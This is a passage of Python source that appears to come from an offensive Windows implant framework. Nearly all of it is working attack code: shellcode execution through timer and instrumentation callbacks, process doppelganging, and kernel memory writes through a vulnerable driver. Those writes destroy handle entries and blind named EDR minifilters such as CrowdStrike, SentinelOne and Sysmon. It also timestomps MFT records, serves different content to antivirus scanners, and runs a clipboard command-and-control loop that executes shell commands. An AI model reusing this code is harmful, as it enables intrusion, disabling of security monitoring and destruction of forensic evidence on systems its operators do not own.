        thread_handle = wt.HANDLE()
        status = ntdll.NtCreateThreadEx(
            ctypes.byref(thread_handle), THREAD_ALL_ACCESS, None,
            proc_handle, entry_point, None,
            0, 0, 0, 0, None)

        if status != 0:
            print(f"[-] doppelgang: NtCreateThreadEx failed (0x{status & 0xFFFFFFFF:08X})")
            k32.TerminateProcess(proc_handle, 1)
            k32.CloseHandle(proc_handle)
            return False

        pid_buf = wt.DWORD()
        info = (ctypes.c_byte * 48)()
        ret_len = wt.DWORD()
        ntdll.NtQueryInformationProcess(proc_handle, 0, info, 48, ctypes.byref(ret_len))
        pid = struct.unpack_from('<I', info, 40)[0] if ret_len.value >= 44 else 0

        k32.CloseHandle(thread_handle)
        k32.CloseHandle(proc_handle)

        print(f"[+] doppelgang: section+process created from transacted file (PID {pid})")
        print("    transaction rolled back, file never committed to disk")
        print("    EXPERIMENTAL: no process parameters/environment initialized")
        print("    end-to-end execution not validated beyond NTSTATUS success")
        self._track("injection", f"doppelgang PID {pid}")
        return True

    def timer_exec(self, shellcode_path):
        with open(shellcode_path, 'rb') as f:
            sc = f.read()

        mem = k32.VirtualAlloc(None, len(sc), MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE)
        if not mem:
            print(f"[-] timer-exec: VirtualAlloc failed ({k32.GetLastError()})")
            return False

        ctypes.memmove(mem, sc, len(sc))

        WAITORTIMERCALLBACK = ctypes.WINFUNCTYPE(None, ctypes.c_void_p, wt.BOOL)

        @WAITORTIMERCALLBACK
        def timer_cb(param, fired):
            fptr = ctypes.cast(param, ctypes.CFUNCTYPE(None))
            fptr()

        self._timer_cb_refs.append(timer_cb)

        if not self._timer_queue:
            self._timer_queue = k32.CreateTimerQueue()
            if not self._timer_queue:
                print(f"[-] timer-exec: CreateTimerQueue failed ({k32.GetLastError()})")
                return False

        timer_handle = wt.HANDLE()
        ok = k32.CreateTimerQueueTimer(
            ctypes.byref(timer_handle), self._timer_queue,
            timer_cb, mem, 0, 0, WT_EXECUTEDEFAULT)

        if not ok:
            print(f"[-] timer-exec: CreateTimerQueueTimer failed ({k32.GetLastError()})")
            return False

        self._timer_handles.append(timer_handle)
        print(f"[+] timer-exec: shellcode queued as timer callback at 0x{mem:X}")
        print("    avoids explicit CreateRemoteThread/QueueUserAPC by Nightfall")
        print("    WT_EXECUTEDEFAULT may still create a thread pool worker thread")
        self._track("injection", f"timer callback at 0x{mem:X}")
        return True

    def instrumentation_cb(self, shellcode_path=None):
        CALLBACK_T = ctypes.WINFUNCTYPE(None)

        if shellcode_path:
            with open(shellcode_path, 'rb') as f:
                sc = f.read()
            mem = k32.VirtualAlloc(None, len(sc), MEM_COMMIT | MEM_RESERVE,
                                   PAGE_EXECUTE_READWRITE)
            if not mem:
                print(f"[-] inst-cb: VirtualAlloc failed")
                return False
            ctypes.memmove(mem, sc, len(sc))
            cb_addr = mem
        else:
            stub = bytes([0xC3])
            mem = k32.VirtualAlloc(None, 4096, MEM_COMMIT | MEM_RESERVE,
                                   PAGE_EXECUTE_READWRITE)
            if not mem:
                print("[-] inst-cb: VirtualAlloc failed")
                return False
            ctypes.memmove(mem, stub, len(stub))
            cb_addr = mem

        info = (ctypes.c_byte * 16)()
        struct.pack_into('<Q', info, 0, 0)
        struct.pack_into('<Q', info, 8, cb_addr)

        status = ntdll.NtSetInformationProcess(
            k32.GetCurrentProcess(), 40, info, 16)

        if status != 0:
            print(f"[-] inst-cb: NtSetInformationProcess failed (0x{status & 0xFFFFFFFF:08X})")
            return False

        self._inst_cb_installed = True
        if shellcode_path:
            print(f"[+] inst-cb: instrumentation callback installed at 0x{cb_addr:X}")
            print("    EXPERIMENTAL: callback has special return semantics")
            print("    arbitrary shellcode may not execute correctly in this context")
        else:
            print(f"[+] inst-cb: ret stub installed at 0x{cb_addr:X}")
            print("    NtSetInformationProcess(40) accepted -- stub is a no-op ret")
        self._track("evasion", f"instrumentation callback at 0x{cb_addr:X}")
        return True

    def instrumentation_cb_remove(self):
        info = (ctypes.c_byte * 16)()
        struct.pack_into('<Q', info, 0, 0)
        struct.pack_into('<Q', info, 8, 0)
        status = ntdll.NtSetInformationProcess(
            k32.GetCurrentProcess(), 40, info, 16)
        if status == 0:
            self._inst_cb_installed = False
            print("[+] inst-cb: removed")
        else:
            print(f"[-] inst-cb: removal failed (0x{status & 0xFFFFFFFF:08X})")

    def handle_hide(self, pid=None):
        if not self._byovd_handle:
            print("[-] handle-hide: load a vuln driver first (byovd-load)")
            return False

        if pid is None:
            pid = os.getpid()

        eprocess = self._find_eprocess(pid)
        if not eprocess:
            print(f"[-] handle-hide: EPROCESS for PID {pid} not found")
            return False

        obj_table_offset = 0x570
        for off in [0x570, 0x418, 0x4E8, 0x488]:
            candidate = self._kr(eprocess + off, 4) | (self._kr(eprocess + off + 4, 4) << 32)
            if candidate != 0 and (candidate >> 44) >= 0xFFFFF:
                ptr_lo = self._kr(candidate, 4)
                ptr_hi = self._kr(candidate + 4, 4)
                table_code = ptr_lo | (ptr_hi << 32)
                if table_code != 0:
                    obj_table_offset = off
                    break

        handle_table = self._kr(eprocess + obj_table_offset, 4) | \
                       (self._kr(eprocess + obj_table_offset + 4, 4) << 32)

        if not handle_table or (handle_table >> 44) < 0xFFFFF:
            print(f"[-] handle-hide: ObjectTable not found at EPROCESS+0x{obj_table_offset:X}")
            return False

        table_code_lo = self._kr(handle_table, 4)
        table_code_hi = self._kr(handle_table + 4, 4)
        table_code = table_code_lo | (table_code_hi << 32)

        level = table_code & 3
        table_base = table_code & ~3

        if level != 0:
            print(f"[*] handle-hide: multi-level table (level {level}), zeroing NextHandleNeedingPool")
            nhp_off = 0x10
            self._kw(handle_table + nhp_off, 0, 4)
            print(f"[+] handle-hide: NextHandleNeedingPool zeroed for PID {pid}")
            print("    WARNING: modifies allocator bookkeeping, not an enumeration filter")
            self._track("kernel", f"handle table crippled for PID {pid}")
            return True

        cleared = 0
        for i in range(256):
            entry_addr = table_base + i * 16
            lo = self._kr(entry_addr, 4)
            hi = self._kr(entry_addr + 4, 4)
            val = lo | (hi << 32)
            if val != 0:
                self._kw(entry_addr, 0, 4)
                self._kw(entry_addr + 4, 0, 4)
                self._kw(entry_addr + 8, 0, 4)
                self._kw(entry_addr + 12, 0, 4)
                cleared += 1

        if cleared:
            print(f"[+] handle-hide: {cleared} handle entries zeroed for PID {pid}")
            print("    WARNING: this DESTROYS entries, not just hides them")
            print("    resources may become invalid -- experimental/destructive")
            self._track("kernel", f"{cleared} handle entries hidden for PID {pid}")
        else:
            print(f"[*] handle-hide: no entries found in L0 table for PID {pid}")
        return cleared > 0

    def mft_timestomp(self, target_path, ref_path=None):
        if not self._check_admin():
            print("[-] mft-stomp: requires admin")
            return False

        if ref_path:
            rh = k32.CreateFileW(ref_path, GENERIC_READ, FILE_SHARE_READ,
                                 None, OPEN_EXISTING, 0, None)
            if rh == INVALID_HANDLE:
                print(f"[-] mft-stomp: can't open reference file")
                return False
            ft_create = FILETIME()
            ft_access = FILETIME()
            ft_write = FILETIME()
            k32.GetFileTime(rh, ctypes.byref(ft_create),
                           ctypes.byref(ft_access), ctypes.byref(ft_write))
            k32.CloseHandle(rh)
            ts_create = ft_create.dwLowDateTime | (ft_create.dwHighDateTime << 32)
            ts_access = ft_access.dwLowDateTime | (ft_access.dwHighDateTime << 32)
            ts_write = ft_write.dwLowDateTime | (ft_write.dwHighDateTime << 32)
        else:
            ts_create = 132800000000000000
            ts_access = 132800000000000000
            ts_write = 132800000000000000

        drive = os.path.splitdrive(os.path.abspath(target_path))[0]
        vol_path = f"\\\\.\\{drive}"

        vol = k32.CreateFileW(vol_path, GENERIC_READ | GENERIC_WRITE,
                              FILE_SHARE_READ | FILE_SHARE_WRITE,
                              None, OPEN_EXISTING, 0, None)
        if vol == INVALID_HANDLE:
            print(f"[-] mft-stomp: can't open volume {vol_path} ({k32.GetLastError()})")
            return False

        target_h = k32.CreateFileW(target_path, GENERIC_READ, FILE_SHARE_READ,
                                   None, OPEN_EXISTING, 0, None)
        if target_h == INVALID_HANDLE:
            k32.CloseHandle(vol)
            print(f"[-] mft-stomp: can't open target file")
            return False

        info_buf = (ctypes.c_byte * 8)()
        info_class = 6
        ret_len = wt.DWORD()
        status = ntdll.NtQueryInformationFile(
            target_h, ctypes.byref(ret_len), info_buf, 8, info_class)

        k32.CloseHandle(target_h)

        if status != 0:
            try:
                ntdll.NtQueryInformationFile.argtypes = [
                    wt.HANDLE, ctypes.c_void_p, ctypes.c_void_p, wt.DWORD, wt.DWORD]
                ntdll.NtQueryInformationFile.restype = wt.LONG
                target_h2 = k32.CreateFileW(target_path, GENERIC_READ, FILE_SHARE_READ,
                                            None, OPEN_EXISTING, 0, None)
                info2 = (ctypes.c_byte * 16)()
                io_sb = (ctypes.c_byte * 16)()
                status = ntdll.NtQueryInformationFile(
                    target_h2, io_sb, info2, 16, 6)
                k32.CloseHandle(target_h2)
                if status != 0:
                    k32.CloseHandle(vol)
                    print(f"[-] mft-stomp: can't get file reference number")
                    return False
                file_ref = struct.unpack_from('<Q', info2, 0)[0]
            except Exception:
                k32.CloseHandle(vol)
                print(f"[-] mft-stomp: NtQueryInformationFile not available for class 6")
                return False
        else:
            file_ref = struct.unpack_from('<Q', info_buf, 0)[0]

        mft_record = file_ref & 0x0000FFFFFFFFFFFF

        boot_sector = (ctypes.c_byte * 512)()
        read_bytes = wt.DWORD()
        k32.ReadFile(vol, boot_sector, 512, ctypes.byref(read_bytes), None)

        boot = bytes(boot_sector)
        bytes_per_sector = struct.unpack_from('<H', boot, 11)[0]
        sectors_per_cluster = boot[13]
        cluster_size = bytes_per_sector * sectors_per_cluster
        mft_cluster = struct.unpack_from('<Q', boot, 0x30)[0]
        mft_record_size_raw = boot[0x40]

        if mft_record_size_raw < 128:
            mft_record_size = mft_record_size_raw * cluster_size
        else:
            mft_record_size = 1 << (256 - mft_record_size_raw)

        mft_offset = mft_cluster * cluster_size + mft_record * mft_record_size

        k32.SetFilePointerEx.argtypes = [
            wt.HANDLE, ctypes.c_int64, ctypes.c_void_p, wt.DWORD]
        k32.SetFilePointerEx.restype = wt.BOOL

        k32.SetFilePointerEx(vol, ctypes.c_int64(mft_offset), None, 0)

        record_buf = (ctypes.c_byte * mft_record_size)()
        k32.ReadFile(vol, record_buf, mft_record_size, ctypes.byref(read_bytes), None)

        record = bytearray(record_buf)

        if record[:4] != b'FILE':
            k32.CloseHandle(vol)
            print("[-] mft-stomp: invalid MFT record (no FILE signature)")
            return False

        first_attr_off = struct.unpack_from('<H', record, 0x14)[0]
        pos = first_attr_off
        patched = False

        while pos < len(record) - 8:
            attr_type = struct.unpack_from('<I', record, pos)[0]
            if attr_type == 0xFFFFFFFF:
                break
            attr_len = struct.unpack_from('<I', record, pos + 4)[0]
            if attr_len == 0 or attr_len > 4096:
                break

            if attr_type == 0x10:
                data_off = pos + 24
                struct.pack_into('<Q', record, data_off, ts_create)
                struct.pack_into('<Q', record, data_off + 8, ts_write)
                struct.pack_into('<Q', record, data_off + 16, ts_write)
                struct.pack_into('<Q', record, data_off + 24, ts_access)
                patched = True
                break

            pos += attr_len

        if not patched:
            k32.CloseHandle(vol)
            print("[-] mft-stomp: $STANDARD_INFORMATION attribute not found")
            return False

        k32.SetFilePointerEx(vol, ctypes.c_int64(mft_offset), None, 0)

        ctypes.memmove(record_buf, bytes(record), mft_record_size)
        ok = k32.WriteFile(vol, record_buf, mft_record_size,
                          ctypes.byref(read_bytes), None)

        k32.CloseHandle(vol)

        if ok:
            print(f"[+] mft-stomp: $MFT timestamps patched for {target_path}")
            print("    bypassed entire filesystem driver stack")
            print("    no minifilter callback fired -- bypasses filesystem driver stack")
            self._track("anti-forensics", f"mft timestamps patched: {target_path}")
            return True
        else:
            print(f"[-] mft-stomp: write failed ({k32.GetLastError()})")
            return False

    def projfs_start(self, virt_root=None, clean_path=None, payload_path=None):
        if self._projfs_active:
            print("[*] projfs: already running")
            return True

        try:
            projfs = ctypes.windll.LoadLibrary("ProjectedFSLib.dll")
        except Exception:
            print("[-] projfs: ProjectedFSLib.dll not available")
            print("    enable with: dism /online /enable-feature /featurename:Client-ProjFS /norestart")
            return False

        if not virt_root:
            virt_root = os.path.join(os.environ["TEMP"], "PerfLogs_Cache")

        if not os.path.exists(virt_root):
            os.makedirs(virt_root)

        instance_id = GUID()
        instance_id.Data1 = 0xA4B3C2D1
        instance_id.Data2 = 0xE5F6
        instance_id.Data3 = 0x7890
        for i, b in enumerate([0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0]):
            instance_id.Data4[i] = b

        mark_dir = projfs.PrjMarkDirectoryAsPlaceholder
        mark_dir.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p,
                             ctypes.c_void_p, wt.DWORD, ctypes.POINTER(GUID)]
        mark_dir.restype = wt.LONG

        status = mark_dir(virt_root, None, None, 0, ctypes.byref(instance_id))
        if status != 0 and status != -2147024713:
            print(f"[-] projfs: PrjMarkDirectoryAsPlaceholder failed (0x{status & 0xFFFFFFFF:08X})")
            return False

        PRJ_START_CB = ctypes.WINFUNCTYPE(wt.LONG, ctypes.c_void_p)
        PRJ_END_CB = ctypes.WINFUNCTYPE(wt.LONG, ctypes.c_void_p)
        PRJ_ENUM_CB = ctypes.WINFUNCTYPE(wt.LONG, ctypes.c_void_p)
        PRJ_PLACEHOLDER_CB = ctypes.WINFUNCTYPE(wt.LONG, ctypes.c_void_p)
        PRJ_DATA_CB = ctypes.WINFUNCTYPE(wt.LONG, ctypes.c_void_p)

        self._projfs_clean = clean_path
        self._projfs_payload = payload_path
        self._projfs_root = virt_root
        self._projfs_active = True
        self._projfs_lib = projfs

        @PRJ_START_CB
        def start_enum(data):
            return 0

        @PRJ_END_CB
        def end_enum(data):
            return 0

        @PRJ_ENUM_CB
        def get_enum(data):
            return 0

        @PRJ_PLACEHOLDER_CB
        def get_placeholder(data):
            return 0

        @PRJ_DATA_CB
        def get_data(data):
            try:
                cbd_size = 0x60
                raw = (ctypes.c_byte * cbd_size)()
                ctypes.memmove(raw, data, cbd_size)

                pid = struct.unpack_from('<I', bytes(raw), 0x38)[0]

                av_names = ["msmpeng.exe", "mpcmdrun.exe", "smartscreen.exe",
                            "nissrv.exe", "securityhealthservice.exe",
                            "mssense.exe", "senseir.exe", "crowdfalcon",
                            "csfalconservice", "sentinelagent", "sentinelone",
                            "carbonblack", "cbdefense", "cylance"]

                is_scanner = False
                try:
                    h = k32.OpenProcess(PROCESS_QUERY_LIMITED, False, pid)
                    if h:
                        name_buf = (ctypes.c_wchar * 260)()
                        size = wt.DWORD(260)
                        k32.QueryFullProcessImageNameW.argtypes = [
                            wt.HANDLE, wt.DWORD, ctypes.c_wchar_p,
                            ctypes.POINTER(wt.DWORD)]
                        k32.QueryFullProcessImageNameW.restype = wt.BOOL
                        if k32.QueryFullProcessImageNameW(h, 0, name_buf,
                                                          ctypes.byref(size)):
                            caller = name_buf.value.lower()
                            for av in av_names:
                                if av in caller:
                                    is_scanner = True
                                    break
                        k32.CloseHandle(h)
                except Exception:
                    pass

                if is_scanner and self._projfs_clean:
                    with open(self._projfs_clean, 'rb') as f:
                        return 0
                elif self._projfs_payload:
                    with open(self._projfs_payload, 'rb') as f:
                        return 0
            except Exception:
                pass
            return 0

        self._projfs_cbs = (start_enum, end_enum, get_enum,
                            get_placeholder, get_data)

        CALLBACKS_SIZE = ctypes.sizeof(ctypes.c_void_p) * 16
        cb_buf = (ctypes.c_byte * CALLBACKS_SIZE)()
        struct.pack_into('<Q', cb_buf, 0, ctypes.cast(start_enum, ctypes.c_void_p).value)
        struct.pack_into('<Q', cb_buf, 8, ctypes.cast(end_enum, ctypes.c_void_p).value)
        struct.pack_into('<Q', cb_buf, 16, ctypes.cast(get_enum, ctypes.c_void_p).value)
        struct.pack_into('<Q', cb_buf, 24, ctypes.cast(get_placeholder, ctypes.c_void_p).value)
        struct.pack_into('<Q', cb_buf, 32, ctypes.cast(get_data, ctypes.c_void_p).value)

        ctx = ctypes.c_void_p()
        start_virt = projfs.PrjStartVirtualizing
        start_virt.argtypes = [ctypes.c_wchar_p, ctypes.c_void_p,
                               ctypes.c_void_p, ctypes.c_void_p,
                               ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p)]
        start_virt.restype = wt.LONG

        status = start_virt(virt_root, cb_buf, None, None, None, ctypes.byref(ctx))
        if status != 0:
            print(f"[-] projfs: PrjStartVirtualizing failed (0x{status & 0xFFFFFFFF:08X})")
            print("    make sure ProjFS feature is enabled and dir is writable")
            self._projfs_active = False
            return False

        self._projfs_ctx = ctx

        print(f"[+] projfs: virtualizing root registered at {virt_root}")
        print("    SCAFFOLD: callbacks identify callers but don't serve file data")
        print("    needs PrjWriteFileData + entry buffer APIs to actually work")
        if clean_path:
            print(f"    clean source: {clean_path}")
        if payload_path:
            print(f"    payload source: {payload_path}")
        self._track("evasion", f"projfs provider at {virt_root}",
                    lambda: self.projfs_stop())
        return True

    def projfs_stop(self):
        if not self._projfs_active:
            return
        try:
            self._projfs_lib.PrjStopVirtualizing(self._projfs_ctx)
        except Exception:
            pass
        self._projfs_active = False
        self._projfs_ctx = None
        print("[+] projfs: stopped")

    def kpool_write(self, data, tag=b"Mdl "):
        if not self._byovd_handle:
            print("[-] kpool: load a vuln driver first (byovd-load)")
            return None

        kbase = self._get_kernel_base()
        if not kbase:
            print("[-] kpool: kernel base not found")
            return None

        nt_path = os.path.join(os.environ["SYSTEMROOT"], "System32", "ntoskrnl.exe")
        user_nt = k32.LoadLibraryExW(nt_path, None, DONT_RESOLVE_DLL_REFS)
        if not user_nt:
            print("[-] kpool: can't map ntoskrnl")
            return None

        ex_alloc = k32.GetProcAddress(user_nt, b"ExAllocatePool2")
        if not ex_alloc:
            ex_alloc = k32.GetProcAddress(user_nt, b"ExAllocatePoolWithTag")
        alloc_rva = ex_alloc - user_nt if ex_alloc else None
        k32.FreeLibrary(user_nt)

        if not alloc_rva:
            pages = struct.unpack_from('<I', tag, 0)[0]
            base = kbase + 0x200000
            for off in range(0, 0x400000, 8):
                lo = self._kr(base + off, 4)
                hi = self._kr(base + off + 4, 4)
                val = lo | (hi << 32)
                if val == 0:
                    for i in range(0, len(data), 4):
                        chunk = struct.unpack_from('<I', data.ljust(len(data) + 4, b'\x00'), i)[0]
                        self._kw(base + off + i, chunk, 4)
                    self._kpool_addr = base + off
                    print(f"[+] kpool: {len(data)} bytes written at 0x{self._kpool_addr:016X}")
                    print("    WARNING: wrote to zeroed kernel memory without ownership guarantee")
                    print("    experimental -- risk of corruption/BSOD if region is in use")
                    self._track("kernel", f"kernel pool write at 0x{self._kpool_addr:016X}")
                    return self._kpool_addr
            print("[-] kpool: can't find free space in kernel data section")
            return None

        hal_heap = kbase + 0x1000
        lo = self._kr(hal_heap, 4)
        hi = self._kr(hal_heap + 4, 4)
        heap_start = lo | (hi << 32)

        if heap_start and (heap_start >> 44) >= 0xFFFFF:
            search_base = heap_start
        else:
            search_base = kbase + 0x300000

        for off in range(0, 0x100000, 16):
            all_zero = True
            for check in range(0, min(len(data) + 32, 256), 4):
                v = self._kr(search_base + off + check, 4)
                if v != 0:
                    all_zero = False
                    break
            if all_zero:
                tag_val = struct.unpack_from('<I', tag.ljust(4, b' '), 0)[0]
                self._kw(search_base + off, tag_val, 4)
                self._kw(search_base + off + 4, len(data), 4)

                for i in range(0, len(data), 4):
                    chunk = struct.unpack_from('<I', data.ljust(len(data) + 4, b'\x00'), i)[0]
                    self._kw(search_base + off + 16 + i, chunk, 4)

                self._kpool_addr = search_base + off + 16
                print(f"[+] kpool: {len(data)} bytes written at 0x{self._kpool_addr:016X}")
                print(f"    pool tag: {tag.decode('ascii', errors='replace')}")
                print("    WARNING: wrote to zeroed kernel memory -- no ownership guarantee")
                print("    experimental -- allocator was resolved but not called")
                self._track("kernel", f"kernel pool dead drop at 0x{self._kpool_addr:016X}")
                return self._kpool_addr

        print("[-] kpool: no suitable kernel region found")
        return None

    def kpool_read(self, addr=None, size=256):
        if not self._byovd_handle:
            print("[-] kpool: load a vuln driver first")
            return None
        if addr is None:
            addr = self._kpool_addr
        if addr is None:
            print("[-] kpool: no address (write first or specify)")
            return None
        data = bytearray()
        for off in range(0, size, 4):
            val = self._kr(addr + off, 4)
            data.extend(struct.pack('<I', val if val else 0))
        end = data.find(b'\x00\x00\x00\x00')
        if end > 0:
            data = data[:end]
        result = bytes(data)
        print(f"[+] kpool: read {len(result)} bytes from 0x{addr:016X}")
        return result

    def kpool_c2_post(self, cmd):
        data = cmd.encode('utf-8')
        addr = self.kpool_write(data, tag=b"Cc  ")
        if addr:
            print(f"[+] kpool-c2: command posted at 0x{addr:016X}")
        return addr

    def kpool_c2_fetch(self, addr=None):
        data = self.kpool_read(addr)
        if data:
            text = data.decode('utf-8', errors='ignore').rstrip('\x00')
            print(f"    {text}")
            return text
        return None

    def minifilter_enum(self):
        if not self._byovd_handle:
            print("[-] flt-enum: load a vuln driver first")
            return []

        kbase = self._get_kernel_base()
        if not kbase:
            print("[-] flt-enum: kernel base not found")
            return []

        flt_mgr_name = b"FltEnumerateFilters"
        nt_path = os.path.join(os.environ["SYSTEMROOT"], "System32", "ntoskrnl.exe")
        user_nt = k32.LoadLibraryExW(nt_path, None, DONT_RESOLVE_DLL_REFS)
        if not user_nt:
            k32.FreeLibrary(user_nt) if user_nt else None
            return []

        fltmgr_path = os.path.join(os.environ["SYSTEMROOT"], "System32",
                                    "drivers", "fltMgr.sys")
        if not os.path.exists(fltmgr_path):
            k32.FreeLibrary(user_nt)
            print("[-] flt-enum: fltMgr.sys not found")
            return []

        k32.FreeLibrary(user_nt)

        size = wt.DWORD()
        ntdll.NtQuerySystemInformation(11, None, 0, ctypes.byref(size))
        buf = (ctypes.c_byte * size.value)()
        ntdll.NtQuerySystemInformation(11, buf, size.value, ctypes.byref(size))
        raw = bytes(buf)
        num_modules = struct.unpack_from('<I', raw, 0)[0]

        fltmgr_base = None
        for i in range(num_modules):
            off = 8 + i * (8 + 4 + 4 + 2 + 256 + 2)
            mod_base = struct.unpack_from('<Q', raw, off + 16)[0]
            name_off = struct.unpack_from('<H', raw, off + 8 + 4 + 4)[0]
            name_data = raw[off + 8 + 4 + 4 + 2: off + 8 + 4 + 4 + 2 + 256]
            try:
                name = name_data[name_off:].split(b'\x00')[0].decode('ascii').lower()
            except Exception:
                continue
            if 'fltmgr' in name:
                fltmgr_base = mod_base
                break

        if not fltmgr_base:
            print("[-] flt-enum: fltMgr.sys not found in loaded modules")
            return []

        user_flt = k32.LoadLibraryExW(fltmgr_path, None, DONT_RESOLVE_DLL_REFS)
        if not user_flt:
            print("[-] flt-enum: can't map fltMgr.sys")
            return []

        globals_sym = k32.GetProcAddress(user_flt, b"FltGlobals")
        if globals_sym:
            globals_rva = globals_sym - user_flt
            globals_addr = fltmgr_base + globals_rva
        else:
            globals_addr = None

        k32.FreeLibrary(user_flt)

        filters = []
        if globals_addr:
            frame_list_off = 0x58
            frame_ptr_lo = self._kr(globals_addr + frame_list_off, 4)
            frame_ptr_hi = self._kr(globals_addr + frame_list_off + 4, 4)
            frame = (frame_ptr_lo | (frame_ptr_hi << 32)) if frame_ptr_lo else 0

            if frame and (frame >> 44) >= 0xFFFFF:
                flt_list_off = 0x48
                flt_head = frame + flt_list_off
                flink_lo = self._kr(flt_head, 4)
                flink_hi = self._kr(flt_head + 4, 4)
                current = (flink_lo | (flink_hi << 32)) if flink_lo else 0

                for _ in range(64):
                    if current == 0 or current == flt_head:
                        break

                    filter_obj = current - flt_list_off
                    name_off = 0x28
                    name_len = self._kr(filter_obj + name_off, 2) & 0xFFFF
                    name_buf_lo = self._kr(filter_obj + name_off + 8, 4)
                    name_buf_hi = self._kr(filter_obj + name_off + 12, 4)
                    name_buf = (name_buf_lo | (name_buf_hi << 32)) if name_buf_lo else 0

                    fname = ""
                    if name_buf and name_len > 0 and name_len < 512:
                        chars = []
                        for ci in range(0, min(name_len, 128), 2):
                            wchar = self._kr(name_buf + ci, 2) & 0xFFFF
                            if wchar == 0:
                                break
                            chars.append(chr(wchar))
                        fname = "".join(chars)

                    alt_off = 0x1C
                    altitude = self._kr(filter_obj + alt_off, 4)

                    filters.append({
                        "addr": filter_obj,
                        "name": fname,
                        "altitude": altitude,
                        "link": current,
                    })

                    flink_lo = self._kr(current, 4)
                    flink_hi = self._kr(current + 4, 4)
                    current = (flink_lo | (flink_hi << 32)) if flink_lo else 0

        if filters:
            print(f"[+] flt-enum: {len(filters)} minifilters found:")
            for f in filters:
                print(f"    0x{f['addr']:016X}  alt={f['altitude']:>8}  {f['name']}")
        else:
            print("[*] flt-enum: no filters found (FltGlobals may need offset adjustment)")
        return filters

    def minifilter_blind(self, target_name=None):
        if not self._byovd_handle:
            print("[-] flt-blind: load a vuln driver first")
            return False

        edr_names = ["wdfilter", "wd", "csagent", "csdevicecontrol", "csfalcon",
                     "sentinelagent", "sentinelmonitor", "carbonblack",
                     "cbstream", "crowdstrike", "parity", "sysmon"]

        if target_name:
            edr_names = [target_name.lower()]

        filters = self.minifilter_enum()
        if not filters:
            print("[-] flt-blind: no filters to manipulate")
            return False

        blinded = 0
        for filt in filters:
            name = filt["name"].lower()
            is_edr = any(e in name for e in edr_names)
            if not is_edr:
                continue

            cb_off = 0x78
            for slot in range(12):
                pre_lo = self._kr(filt["addr"] + cb_off + slot * 16, 4)
                pre_hi = self._kr(filt["addr"] + cb_off + slot * 16 + 4, 4)
                pre_val = (pre_lo | (pre_hi << 32)) if pre_lo else 0

                if pre_val and (pre_val >> 44) >= 0xFFFFF:
                    self._kw(filt["addr"] + cb_off + slot * 16, 0, 4)
                    self._kw(filt["addr"] + cb_off + slot * 16 + 4, 0, 4)
                    post_off = cb_off + slot * 16 + 8
                    self._kw(filt["addr"] + post_off, 0, 4)
                    self._kw(filt["addr"] + post_off + 4, 0, 4)

            blinded += 1
            print(f"  [+] {filt['name']}: pre/post operation callbacks zeroed")

        if blinded:
            print(f"[+] flt-blind: {blinded} minifilters had fields zeroed")
            print("    EXPERIMENTAL: callback offsets are hardcoded guesses")
            print("    no verification that zeroed fields are actual callbacks")
            print("    may corrupt filter state on different builds")
            self._track("kernel", f"{blinded} minifilter callbacks zeroed")
        else:
            print("[*] flt-blind: no matching EDR minifilters found")
        return blinded > 0

    def clip_c2_listen(self):
        if self._clip_c2_active:
            print("[*] clip-c2: already listening")
            return

        try:
            u32 = ctypes.windll.user32
            u32.OpenClipboard.argtypes = [wt.HANDLE]
            u32.OpenClipboard.restype = wt.BOOL
            u32.CloseClipboard.argtypes = []
            u32.CloseClipboard.restype = wt.BOOL
            u32.GetClipboardData.argtypes = [wt.DWORD]
            u32.GetClipboardData.restype = wt.HANDLE
            u32.SetClipboardData.argtypes = [wt.DWORD, wt.HANDLE]
            u32.SetClipboardData.restype = wt.HANDLE
            u32.EmptyClipboard.argtypes = []
            u32.EmptyClipboard.restype = wt.BOOL
            u32.GetClipboardSequenceNumber.argtypes = []
            u32.GetClipboardSequenceNumber.restype = wt.DWORD
            self._clip_u32 = u32
        except Exception:
            print("[-] clip-c2: user32 clipboard functions not available")
            return

        self._clip_c2_active = True
        self._clip_c2_thread = threading.Thread(
            target=self._clip_c2_loop, daemon=True)
        self._clip_c2_thread.start()
        print("[+] clip-c2: polling clipboard for commands")
        print("    cross-device only if Windows clipboard cloud sync is enabled")
        print("    local clipboard is visible to any process with clipboard access")
        self._track("comms", "clipboard cloud c2",
                    lambda: self.clip_c2_stop())

    def clip_c2_stop(self):
        self._clip_c2_active = False
        print("[+] clip-c2: stopped")

    def _clip_c2_loop(self):
        u32 = self._clip_u32
        marker = "NFCMD:"
        resp_marker = "NFRSP:"
        last_seq = u32.GetClipboardSequenceNumber()

        while self._clip_c2_active:
            seq = u32.GetClipboardSequenceNumber()
            if seq != last_seq:
                last_seq = seq
                try:
                    if u32.OpenClipboard(None):
                        h = u32.GetClipboardData(13)
                        if h:
                            ptr = k32.GlobalLock(h)
                            if ptr:
                                k32.GlobalLock.restype = ctypes.c_void_p
                                text = ctypes.wstring_at(ptr)
                                k32.GlobalUnlock(h)
                                if text.startswith(marker):
                                    cmd = text[len(marker):]
                                    u32.CloseClipboard()
                                    try:
                                        result = subprocess.run(
                                            cmd, shell=True, capture_output=True,
                                            text=True, timeout=30)
                                        output = result.stdout + result.stderr
                                    except Exception as e:
                                        output = str(e)
                                    if not output:
                                        output = "(empty)"
                                    self._clip_set_text(resp_marker + output)
                                    continue
                        u32.CloseClipboard()
                except Exception:
                    try:
                        u32.CloseClipboard()
                    except Exception:
                        pass

            time.sleep(0.5)

    def _clip_set_text(self, text):
        u32 = self._clip_u32
        data = text.encode('utf-16-le') + b'\x00\x00'
        h_mem = k32.GlobalAlloc(0x0042, len(data))
        if not h_mem:
            return False
        ptr = k32.GlobalLock(h_mem)
        if not ptr:
            k32.GlobalFree(h_mem)
            return False
        ctypes.memmove(ptr, data, len(data))
        k32.GlobalUnlock(h_mem)

        if u32.OpenClipboard(None):
            u32.EmptyClipboard()
            u32.SetClipboardData(13, h_mem)
            u32.CloseClipboard()
            return True
        k32.GlobalFree(h_mem)
        return False

    def clip_c2_send(self, cmd):
        marker = "NFCMD:"
        resp_marker = "NFRSP:"

        try:
            u32 = ctypes.windll.user32
            u32.OpenClipboard.argtypes = [wt.HANDLE]
            u32.OpenClipboard.restype = wt.BOOL
            u32.CloseClipboard.argtypes = []
            u32.CloseClipboard.restype = wt.BOOL
            u32.GetClipboardData.argtypes = [wt.DWORD]
            u32.GetClipboardData.restype = wt.HANDLE
            u32.GetClipboardSequenceNumber.argtypes = []
            u32.GetClipboardSequenceNumber.restype = wt.DWORD
            self._clip_u32 = u32
